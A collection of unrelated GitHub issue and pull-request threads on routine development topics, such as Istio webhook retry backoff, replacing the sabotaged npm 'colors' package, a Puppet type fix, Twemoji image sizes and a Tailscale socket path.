Tried the scenario with a sample app on ipad simulator (4th gen) but didn't observe any distortion while rotating.
https://user-images.githubusercontent.com/67046386/149133958-97f29f57-5faa-4f43-ae2a-c54ada216b72.mov

thank you for your reply,
screenshot of the video you sent.

@ldhlfzysys
I see there was a  similar issue reporting about same behavior, https://github.com/flutter/flutter/issues/30130, can you confirm if the same occurs on simulator or using device as well or it is specific to ipad ?


2.x Integrate eureka-ui WEB UI with write server

eureka-ui is SNAPSHOT dependency until first RC is available.

NetflixOSS » eureka » eureka-pull-requests #406 FAILURE
Looks like there's a problem with this pull request

NetflixOSS » eureka » eureka-pull-requests #407 SUCCESS
This pull request looks good


Is there a way to quickly switch projects?

Is there a way to quickly switch between projects? Preferably with "as-you-type" search.

"ctrl + alt + p" to open project list select.
"as-you-type" - no. Pull request are welcome.

I don't think I am there yet to be able to send pull requests. A suggestion is something I can handle though))
I think it is possible to replace the default select dropdown with something like this and have built in search capabilities right out of the box.

Like in this outdated plugin: https://github.com/ries-tech/redmine_improved_searchbox


Sample dieharder output?

I came here from the Crowd Supply campaign, and was wondering if you felt comfortable (or that it was a wise idea) to post some of the results you've seen from dieharder. It'd be even cooler if they were generated by a CI server, but having any results at all would be nice.

It "passed" Dieharder long ago.  There's a web-site that has results from
many devices, but I'm not able to find it at the moment.
On Mon, Jan 29, 2018 at 5:56 PM, David Bliss<EMAIL_ADDRESS>wrote:

I came here from the Crowd Supply campaign, and was wondering if you felt
comfortable (or that it was a wise idea) to post some of the results you've
seen from dieharder. It'd be even cooler if they were generated by a CI
server, but having any results at all would be nice.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/waywardgeek/infnoise/issues/42, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAVYYg0AXlXeTmof_dZ3rZ2xyT_J-y4Zks5tPnbqgaJpZM4RxpXg
.

I'm working on a testsuite for the Infinite Noise, to be integrated into the CI server for building the linux packages.
You can find the current work in progress here: https://files.13-37.org/tests
(dieharder tests are still running)
The test results will be examined in detail during the crowdsupply campaign - so stay tuned!

Very promising! Any chance those results can be linked to from a readme somewhere?
I think with a clear answer to that, we can close this out.

Yes, I'll commit results for some longer-run tests when they're done.
Just leave the issue open until then.

uploaded them here a while ago: https://github.com/waywardgeek/infnoise/tree/master/tests/results_250000K


Add lint: missing #![allow(clippy::type_complexity), clippy::too_many_arguments]

Interesting: I do wonder if meta lints like this are even possible.


Fix broken splitting of relative imports

Coverage remained the same at 100.0% when pulling d7a696c0d23f518c40a40075079eb74aec2df016 on broken_split_relative_imports into b22a3a0029b569324bb4467e5995f830ac07ecb9 on master.


fix: replace colors with ansi-colors

The author of the colors package purpose broke this package.
See: https://www.bleepingcomputer.com/news/security/dev-corrupts-npm-libs-colors-and-faker-breaking-thousands-of-apps/ and https://github.com/Marak/colors.js/issues/285
Closes #3738

Unfortunately, this may be breaking to the plugins relying on the modified string prototype. I remember looking into switching to colors/safe some time ago and had to stop because of this. I don't remember any details though 😓
IMO We should probably stick with pinning for now and replace the library as part of the major release.

Would be great if you could remember the problem that it caused.
I am good in replacing in package in a major if you think it’s breaking.

Great 🚀

Just curious if this should be pinned to an explicit version instead of using the ^ or ~.
Just doing some dives into the colors issue and being pinned to 1.4.0 before the breaking changes would have added time. But don't want to delay any fixes

The safest solution would be to just set colors to version 1.4.0 and drop the ^
"colors": "1.4.0",

i guess few reporters like spec reporter also use colors

https://github.com/karma-runner/karma/issues/3503

Due to the potential breakages I will mark this PR a WIP.

This PR can be closed in favor of https://github.com/karma-runner/karma/pull/3763 .  colors has been migrated to @colors/colors, so we can do the simple renaming without making any further (and in particular, no breaking) changes.

(As an update -- looks like #3763 was successfully merged, so I think this can be closed.)

(As an update -- looks like #3763 was successfully merged, so I think this can be closed.)

Agreed!


Fix Movies dataset bug

There was a discrepancy between the JSON and CSV files for the Movies dataset. The ColumnInspector component wasn't rendering when clicking on the Votes column.
Screenshot of the error in the browser debugger tool:

Related PRs: https://github.com/code-dot-org/ml-playground/pull/191 and https://github.com/code-dot-org/ml-playground/pull/209

Made a note about the Released column values in this trello card.


Feature Request

It would be great if the following two additions could be made:

Stack the styles. It would be great to offer the ability to select up to three styles instead of having to chain them together.
Output text of selected style as a String. In addition to the positive and negative prompts, it would be great to output the name of the selected style. This could be used to name files/directories when saving images.

Thanks for the custom node as I use it all the time!!!

I'm currently stacking the styles that way and I use up to three which takes up space, added noodles, etc. I was just suggesting a single node that would allow for up to three styles in a nice compact clean node. As I use comfy more and more, I'm getting pretty complicated workflows and any way to minimize nodes, noodles, etc is great :)
Thanks for your quick reply btw!

I just started using these nodes today, adding my "+1" to the request for an output with the name of the used style. I'd like to be able to use it in output file naming.
On the other suggestion to be able to "stack the styles" I would also use this. I suggest allowing multiple JSON files and having a selector in the node to choose which file to use.

It would also be useful to have the name as an output for building an X/Y grid.

There's no built in method that enables multiselect unfortunately so you have to rename the JSONs to disable/enable them.

That's too bad. I'm not a developer so I probably don't understand how this works, I had just assumed that if you could load all .json files you could, after loading them, filter based on which file the JSON object was loaded from.

 It needs a good front end to match but it's not here yet.


add exponential backoff for webhook patch retry

Recently we had an issue where the root certificate on istiod nodes was inconsistent and as a result of that both istiod instances were competing with each other to update the webhook certificate which resulted in retry loop
with the following error - spamming k8s api server and almost bringing down etcd.
"Work item handle failed (Operation cannot be fulfilled on mutatingwebhookconfigurations.admissionregistration.k8s.io "istio-sidecar-injector-mesh-control-plane": the object has been modified; please apply your changes to the latest version and try again), retry after delay 2s
This PR adds exponential backoff with random jitter for patching retries so that all istiod instances do not compete with a fixed delay 2s.

[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[X] Networking
[ ] Performance and Scalability
[ ] Policies and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure

Please check any characteristics that apply to this pull request.

[X] Does not have any user-facing changes. This may include CLI changes, API changes, behavior changes, performance improvements, etc.

@ramaraochavali: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Rerun command

release-notes_istio
f3153c71a77a729d74eb7c477de99a0236b64529
link
/test release-notes_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test release-notes_istio

@ramaraochavali: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Rerun command

gencheck_istio
f3153c71a77a729d74eb7c477de99a0236b64529
link
/test gencheck_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@ramaraochavali: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Rerun command

gencheck_istio
f3153c71a77a729d74eb7c477de99a0236b64529
link
/test gencheck_istio

lint_istio
f3153c71a77a729d74eb7c477de99a0236b64529
link
/test lint_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

I agree its good to have resiliancy but shouldn't leader election ensure only one patches?

shouldn't leader election ensure only one patches?

Mutating webhook patching isn't protected by leader election since each revision should only patch its own webhooks. In general no two istiod's should try patching the same webhook unless they have the same revision name (maybe an in-cluster and external control plane having the same revision name could lead to to this?).

I just realized this is flawed, we can have multiple replicas on same revision that fight with each other for updates...

Yeah multiple replicas of same revision are fighting with  each other.
I will remove the 1 hour cap and push it?
On Sat, 18 Sep 2021 at 1:26 AM, Sam Naser @.***> wrote:

I just realized this is flawed, we can have multiple replicas on same
revision that fight with each other for updates...
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/istio/istio/pull/35243#issuecomment-922045209, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AEDINKAQPFF45EN26CG3IBTUCOMPRANCNFSM5EGKQYOQ
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

This could not fix the patch conflict if the certificates is un equal in different istiod servers

In order to fix the conflict, i think we need to do leader election

This could not fix the patch conflict if the certificates is un equal in different istiod servers

Yes. We are not expecting this to solve that problem. If during some period if the certificates are different, this should not bring down etcd. That is what we are trying to fix.

In order to fix the conflict, i think we need to do leader election

Leader election can not be done because of multiple revisions. Each Istiod has to patch its own revision.

Pure backoff retry can make things worse, for exampl, if two tasks operating one object, one is v1 and one is v2, with retry we could not guarantee the execution order on the two versions.
If v1 is executed later, the worst case is the system down.

In general that may be true. That is why I just enabled it for patching so that atleast it wont bring down etcd during the inconsistency.

@howardjohn removed max elapsed time limit. PTAL

I am ok with this, leaves to @howardjohn to have a look. I will file an issue about the potential  bug

In response to a cherrypick label: #35243 failed to apply on top of branch "release-1.9":
Applying: add exponential backoff to queue
Applying: use exponential backoff for webhook patching
Using index info to reconstruct a base tree...
M	pkg/webhooks/webhookpatch.go
Falling back to patching base and 3-way merge...
Auto-merging pkg/webhooks/webhookpatch.go
CONFLICT (content): Merge conflict in pkg/webhooks/webhookpatch.go
error: Failed to merge in the changes.
hint: Use 'git am --show-current-patch=diff' to see the failed patch
Patch failed at 0002 use exponential backoff for webhook patching
When you have resolved this problem, run "git am --continue".
If you prefer to skip this patch, run "git am --skip" instead.
To restore the original branch and stop patching, run "git am --abort".

In response to a cherrypick label: new issue created for failed cherrypick: #35372

In response to a cherrypick label: #35243 failed to apply on top of branch "release-1.10":
Applying: add exponential backoff to queue
Applying: use exponential backoff for webhook patching
Using index info to reconstruct a base tree...
M	pkg/webhooks/webhookpatch.go
Falling back to patching base and 3-way merge...
Auto-merging pkg/webhooks/webhookpatch.go
CONFLICT (content): Merge conflict in pkg/webhooks/webhookpatch.go
error: Failed to merge in the changes.
hint: Use 'git am --show-current-patch=diff' to see the failed patch
Patch failed at 0002 use exponential backoff for webhook patching
When you have resolved this problem, run "git am --continue".
If you prefer to skip this patch, run "git am --skip" instead.
To restore the original branch and stop patching, run "git am --abort".

In response to a cherrypick label: new issue created for failed cherrypick: #35373

In response to a cherrypick label: #35243 failed to apply on top of branch "release-1.9":
Applying: add exponential backoff to queue
Applying: use exponential backoff for webhook patching
Using index info to reconstruct a base tree...
M	pkg/webhooks/webhookpatch.go
Falling back to patching base and 3-way merge...
Auto-merging pkg/webhooks/webhookpatch.go
CONFLICT (content): Merge conflict in pkg/webhooks/webhookpatch.go
error: Failed to merge in the changes.
hint: Use 'git am --show-current-patch=diff' to see the failed patch
Patch failed at 0002 use exponential backoff for webhook patching
When you have resolved this problem, run "git am --continue".
If you prefer to skip this patch, run "git am --skip" instead.
To restore the original branch and stop patching, run "git am --abort".

In response to a cherrypick label: new issue created for failed cherrypick: #35374

In response to a cherrypick label: new pull request created: #35375

In response to a cherrypick label: #35243 failed to apply on top of branch "release-1.10":
Applying: add exponential backoff to queue
Applying: use exponential backoff for webhook patching
Using index info to reconstruct a base tree...
M	pkg/webhooks/webhookpatch.go
Falling back to patching base and 3-way merge...
Auto-merging pkg/webhooks/webhookpatch.go
CONFLICT (content): Merge conflict in pkg/webhooks/webhookpatch.go
error: Failed to merge in the changes.
hint: Use 'git am --show-current-patch=diff' to see the failed patch
Patch failed at 0002 use exponential backoff for webhook patching
When you have resolved this problem, run "git am --continue".
If you prefer to skip this patch, run "git am --skip" instead.
To restore the original branch and stop patching, run "git am --abort".

In response to a cherrypick label: new issue created for failed cherrypick: #35376

In response to a cherrypick label: #35243 failed to apply on top of branch "release-1.9":
Applying: add exponential backoff to queue
Applying: use exponential backoff for webhook patching
Using index info to reconstruct a base tree...
M	pkg/webhooks/webhookpatch.go
Falling back to patching base and 3-way merge...
Auto-merging pkg/webhooks/webhookpatch.go
CONFLICT (content): Merge conflict in pkg/webhooks/webhookpatch.go
error: Failed to merge in the changes.
hint: Use 'git am --show-current-patch=diff' to see the failed patch
Patch failed at 0002 use exponential backoff for webhook patching
When you have resolved this problem, run "git am --continue".
If you prefer to skip this patch, run "git am --skip" instead.
To restore the original branch and stop patching, run "git am --abort".

In response to a cherrypick label: new issue created for failed cherrypick: #35377

@ramaraochavali Any info on why this issue causes memory usage to bulk up and terminate pod?
We observed the same issue but instead of etcd crash, we saw high memory usage and istiod scale up constantly.

@itsLucario Sorry. No idea.,


(HC-31) Handle type change from scalar -> array

Previously, if a setting existed on disk as a scalar and the puppet resource changed the setting's type to array, the file would not be updated to reflect this explicit type.
In addition to the new unit test, I manually tested this and saw the fix working locally. I am unable to run the acceptance tests.
I've never touched types and providers before and have barely written ruby, so in many ways I feel like I was coding in the dark. Extra scrutiny on this PR would be great!

The reason we're seeing this issue is because of all the weirdness around Puppet's :array-matchingsetting, and how we can't differentiate between a single-element array and a scalar value. I think it would be awesome if we could potentially do something in the value function to differentiate those cases, but I'm not sure how we would do that, especially since we need to ensure that the module doesn't register a change to a setting every time if the value is identical to what's already there and it's a scalar value.
In light of that, I'm good with the approach taken here. It feels like the best approach given the circumstances. :+1:

I'm also not super familiar with types, providers, and these tests, but this looks good to me. I just had one comment but I'm :+1:

Updated @jpinsonault @haus

:+1:

:+1:


One more try to fix missing coverals token

Coverage remained the same at 74.5% when pulling 4cb71432cc4223ea28df8bc549831bd32044e124 on patch/coverage-token-test into 7c21ab73ad7494c10a040d4b220434206ca92514 on master.

:shipit:

+1


Show wiki/db-pedia species abstract

It would be nice to show the short wikipedia or db-pedia abstract for a species if existing.
People seem to link to wiki- or dbpedia by name and rank, e.g. BOLD:
Works fine for Ceratopogonidae:
http://v4.boldsystems.org/index.php/TaxBrowser_Taxonpage?taxid=567
http://v4.boldsystems.org/index.php/MAS_Ajax_WikiRetriever?name=Ceratopogonidae&rank=11
https://en.wikipedia.org/wiki/Ceratopogonidae
Doesn’t work for homonyms with wikipedia disambiguation pages:
http://v4.boldsystems.org/index.php/TaxBrowser_TaxonPage?taxid=291858
http://v4.boldsystems.org/index.php/MAS_Ajax_WikiRetriever?name=Oenanthe&rank=14
https://en.wikipedia.org/wiki/Oenanthe
Maybe we can improve that by at least following the disambiguation page for kingdoms, but it might get hard to impossible for homonyms within the same kingdom
Rods ispecies also just links to db-pedia, EOL etc by the canonical name, try his search:
http://ispecies.org/
DbPedia provides a single sentance “rdfs:comment” for a species.
And in addition a longer in abstract and vernacular names as the label (if its not the scientific name):.
http://dbpedia.org/data/Abies_alba.json
http://dbpedia.org/page/Abies_alba
You can download it as RDF which has the taxonomy nicely parsed out already.
That might be a very good and simple to do replacement for the current wikipedia parsing which I do that still has issues.
It would allow us to do the linking ourselves instead of relying on just some title/name based searches:
http://wiki.dbpedia.org/dbpedia-dataset-version-2015-10

I don't consider this a release blocker - but please raise it if you think so. It isn't obvious to me how to easily get something that isn't occasionaly showing wrong content

A user that explicitly asks not to see wikipedia data http://dev.gbif.org/issues/browse/PF-1879?jql=project %3D PF AND status %3D Open


controller vibrations for desktops

Forked from #1452

Windows: https://github.com/libsdl-org/SDL/blob/2290d71338f11ac946896101bf732d1b0b52ff13/src/joystick/windows/SDL_windowsjoystick.c#L689-L696

XInput: https://github.com/libsdl-org/SDL/blob/2290d71338f11ac946896101bf732d1b0b52ff13/src/joystick/windows/SDL_xinputjoystick.c#L484-L498
DInput: https://github.com/libsdl-org/SDL/blob/2290d71338f11ac946896101bf732d1b0b52ff13/src/joystick/windows/SDL_dinputjoystick.c#L895-L938

On macOS, Xbox/PS controllers don't support ForceFeedback unfortunately.
https://www.macworld.com/article/160155/immersion-2.html


feat: Add injectable base class

This makes it easier to make use of the API introduced in #65 by allowing users to simply subclass a base class and pass in parameters to __init_subclass__.
The alternative is something like:
class Foo:
    ...

InjectFoo = Annotated[Foo, Depends(scope=...)]`

This is less verbose, has less imports, propagates to subclasses and allows a single object (the type itself) to be used to construct the object directly as well as for dependency injection

Codecov Report

Merging #68 (1d292dd) into main (f00205b) will decrease coverage by 0.19%.
The diff coverage is 42.85%.

:exclamation: Current head 1d292dd differs from pull request most recent head a8c12e6. Consider uploading reports for the commit a8c12e6 to get more accurate results

@@            Coverage Diff             @@
##             main      #68      +/-   ##
==========================================
- Coverage   97.70%   97.51%   -0.20%
==========================================
  Files          50       50
  Lines        2007     2014       +7
  Branches      329      330       +1
==========================================
+ Hits         1961     1964       +3
- Misses         37       41       +4
  Partials        9        9

Impacted Files
Coverage Δ

di/dependant.py
95.74% <42.85%> (-4.26%)
:arrow_down:


[Task]: Add a guide / example for using the library in browser extensions

Description
Add a guide / example for using the library in the context of browser extensions. A recommended guide / example should be provided by us that highlights how to use the library in a browser extension. Interaction with stronghold should be kept in mind.
Motivation
There should be a simple and straightforward guide for a recommended usage of wallet library in a browser extension environment.
Are you planning to do it yourself in a pull request?
Maybe.

Won't be done by our team, this could be done by the iota.js team in the future.


let current tmp call insert ,fetch function extend current tmp data

let current tmp call insert ,fetch function sub tmp can extend current tmp data
让当前模板调用insert ,fetch 方法时候能传递给 调用的模板

@mlboy can you add a test for this? This feature is quite nice.

This also how Laravel handle sub views as well - https://laravel.com/docs/5.3/blade#including-sub-views

Thanks for making this contribution! However, I'm not totally sold on making data available to all templates automatically. Further, this could be considered a backwards breaking change. Please see #136 for more info. Closing this for now.


factory: self-register enc/dec/vpp with their factories

The internal design to enable/disable a specific codec
from being compiled into the library has unnecessary
complexity and too much maintenance overhead.
Add a generic factory template that provides a mechanism for
codecs to register themselves for a specific mime type simply
by compiling the code unit into the library.  This also removes
the odd "template within a macro" factory (which only adds
complexity and frustration while debugging).
With this change, there is no need to maintain and check
for BUILD_ autoconf defines inside the sourcecode
units anymore (Note: BUILD_FAKE_DEC is still the
exception, atm).  Determining whether to build a codec into
the library is purely managed via the autotool configurations
now.
Signed-off-by: U. Artie Eoff<EMAIL_ADDRESS>

lgtm +1.

Hi uartie:
Thanks for your patch, It's a good improvement. I planed to change this many time again, But do not get time to.Since you are changing those code. I'd like put some requirements for your patch.

It's better have runtime check in VA's profile. If VA do not supports VAProfileVP9Version0, we need return NULL for decoder creation.Fail in create time can help customer do better decision. such as fail back to software decoder.
it should have compile time check for component. ie. if it do not have va_dec_vp9.h. it should not build the vp9 decoder.
We can postpone item 2. But I hope we can have item 1 in near future.
also I list some prototype here.

/* create video factory base on YamiNativeDisplayType /
/ we will support 3 native display in future, NATIVE_DISPLAY_VA, NATIVE_DISPLAY_VDPAU, NATIVE_DISPLAY_D3D /
VideoFactory createVideoFactory(YamiNativeDisplayType displayType, intptr_t display);
void releaseVideoFactory(VideoFactory*);
struct VideoFactory
{
SharedPtr createDecoder(const char* mime) = 0;
SharedPtr createEncoder(const char* mime) = 0;
SharedPtr createPostProcesser(const* char* mime) = 0;
};
//create decoder/encoder/vpp base on display's caps.
class VaFactory : public VideoFactory
{
};
Do yo think it's OK?
Hi Sean:
Is it urgent? If not,  I'd like merge this patch after runtime check added.

@xuguangxin I think it's important to note that this patch does not change functionality... rather, it only refactor's (and hopefully improves) the codec factory design to make it easier to maintain/update in the future.
What you're proposing in 1 and 2 are functional changes which may or may not necessarily relate to this change.  I can envision multiple ways to deal with the use case in 1.  Although I agree that 1 and 2 are reasonable proposals, I don't think they should hold up a patch such as this one.
I'd be happy to look into implementing 1 and 2 above, but I may not have time to do it immediately.
You're prototype seems reasonable too... but perhaps give it a different name.  "Video" implies that it only handles video.  What about "MediaPlatformFactory" or something ?

Hi Guangxin,
Your runtime check for codec support in general is a necessary aspect on top of the factory addition.  I would say instead, let's get the factory in place, then ensure that we have the VA Entry profile checks for runtime.   Also agree that checks on header presence is key.
But those are functional changes we are going to need to experiment with and think hard about.  Do we allow the build to simply fail gracefully or do we do more invasive checks for presence of headers, etc.
My preference is to merge this change first.   Let's also make sure before we merge this commit that we run a QA cycle.
Thanks,
Sean

@seanvk, do you mean you want a QA cycle with this patch or without  before merging?

Hi uartie :
Yes. It's only create video component. Because createVideoFactory  only accept display handle. But you can change it to YamiFactory since our project name is yami. :)
Hi Sean:
Ok, But daily regression may be enough for this patch.It's just functional patch, do not have so many logical branch in it.
+1 for me.

lgtm +1, Can we try to merge this and later get the fixes for 1) and 2) suggested?

I just want a QA regression test with this patch, just before merge.  I already saw one revert the other day with some codec parser updates.  That's all.

Ok, I'll make sure the QA testing is done this week.

This passed our regression test, waiting daniel's QA test result to merge.

QA on our side is also passing.  Please merge

May need to be rebased.

rebased.


Test pow with mixed dtypes

Also reverts #1541 that breaks this test.

I have another fix for this problem now, but we can merge it first.


Improve InteractionSystem range & BUI checks

This PR makes various changes to InteractionSystem, mainly to try improve performance a bit:

Changes UI range/access checks so that they automatically succeed if the UI entity is a child of the user.
Makes most methods use entity queries
Makes InRangeUnobstructed() methods take in an Entity<TransformComponent?>
Adds a new InRangeAndAccessible() method that combines InRangeUnobstructed(), IsInSameOrParentContainer() and CanAccessViaStorage()
Allows ghosts to open all UIs by default. Fixes #27421

Requires space-wizards/RobustToolbox/pull/5136
:cl:

fix: Ghosts can once again open paper & other UIs

Allows ghosts to open all UIs by default.

did you check if ghosts can use lathes and shit i dont think they explicitly check that you are a living person for that

did you check if ghosts can use lathes and shit i dont think they explicitly check that you are a living person for that

Yep, seems fine. It only allows ghosts to  open uis, not anything else. And if UIs are using their own custom interaction validation logic its up to them to ensure that ghosts can't interact with them anyways.


Maestro Provider | protocolParamMinUTxOValue should be returned by Maestro?

https://github.com/geniusyield/atlas/blob/0cf1d0977a4c2b1c837f4339f13c20aa7a4133b6/src/GeniusYield/Providers/Maestro.hs#L565

Nope as it got deprecated in Alonzo hardfork.

Currently integrating Maestro-SDK to Atlas. Previous code for Maestro provider would thus get deleted (along with mention of comments for these issues).


Adding recency window in rule and disabling user notification

This PR is to

Add recency window to Best Parameter Penalty rule , so that developers don't get old notification.
Also to add Job definition Id to notification, so that developers knows from which cluster notification are coming
Disable users notification .

Testing
Unit test cases are modified to test the code

LGTM.


Change /src/views/stages/*shortlist to shortlisted

so the files in this directory are consistently named
changes will need to be made across the app in router.js and routerlinks directing to these pages

LGTM!


Sizes 16x16 and 36x36 not available

Even the size you use in your examples, https://abs.twimg.com/emoji/v1/36x36/2764.png, yields a broken image. However, https://abs.twimg.com/emoji/v1/72x72/2764.png works perfectly fine.

I'm also having problem with flag emojis in sizes of 16x16 and 32x32.
/** Parse flag emojis for the country-list npm package */
const flag = twemoji.parse(countries[ISO].emoji, { size: '16x16'});

<!-- Resulting HTML -->
<img class="emoji" draggable="false" alt="🇷🇸" src="https://twemoji.maxcdn.com/v/12.1.5/16x16/1f1f7-1f1f8.png"/>

And a call to https://twemoji.maxcdn.com/v/12.1.5/16x16/1f1f7-1f1f8.png results in a 404. Is that expected?

Same issue as t1gor here.


Unable to start service when built.

[/share/CACHEDEV1_DATA/.qpkg/Tailscale] # ./tailscale -socket /var/run/tailscale/tailscaled.sock up
Failed to connect to tailscaled. (safesocket.Connect: dial unix /var/run/tailscale/tailscaled.sock: connect: no such file or directory)
[/share/CACHEDEV1_DATA/.qpkg/Tailscale] #

There seems to be an additional / in the beginning of the socket path. Could you try:
./tailscale -socket var/run/tailscale/tailscaled.sock up

(The reason for having the unix socket in the package directory is that the rest of the file system is overwritten during firmware update and we do not get persistence)